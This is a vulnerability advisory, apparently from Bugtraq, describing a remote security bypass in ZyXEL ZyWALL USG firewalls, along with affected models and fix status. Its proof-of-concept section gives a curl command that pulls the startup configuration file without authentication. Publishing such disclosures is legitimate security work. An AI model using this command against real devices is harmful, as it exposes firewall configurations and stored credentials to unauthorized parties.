Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

BID:47707

Info

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Bugtraq ID: 47707
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: May 04 2011 12:00AM
Updated: May 04 2011 12:00AM
Credit: RedTeam Pentesting GmbH
Vulnerable: ZyXEL ZYWall USG-50
ZyXEL ZYWall USG-300
ZyXEL ZYWall USG-20W
ZyXEL ZYWall USG-2000
ZyXEL ZYWall USG-200
ZyXEL ZYWall USG-20
ZyXEL ZYWall USG-1050
ZyXEL ZYWall USG-1000
ZyXEL ZYWall USG-100
Not Vulnerable:

Discussion

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Multiple ZyWALL USG products are prone to a security-bypass vulnerability.

Successful exploits may allow attackers to bypass certain security restrictions and perform unauthorized actions.

Note: Reportedly, the firmware is also prone to a weakness that allows password-protected upgrade files to be decrypted with a known plaintext attack.

The following products are vulnerable:

ZyWALL USG-20
ZyWALL USG-20W
ZyWALL USG-50
ZyWALL USG-100
ZyWALL USG-200
ZyWALL USG-300
ZyWALL USG-1000
ZyWALL USG-1050
ZyWALL USG-2000

Exploit / POC

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

The following example is available:

curl --silent -o startup-config.conf https://www.example.com/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf";

Solution / Fix

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Solution:
Reportedly, the issue is fixed; however, Symantec has not confirmed this. Please contact the vendor for more information.

References

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

References:

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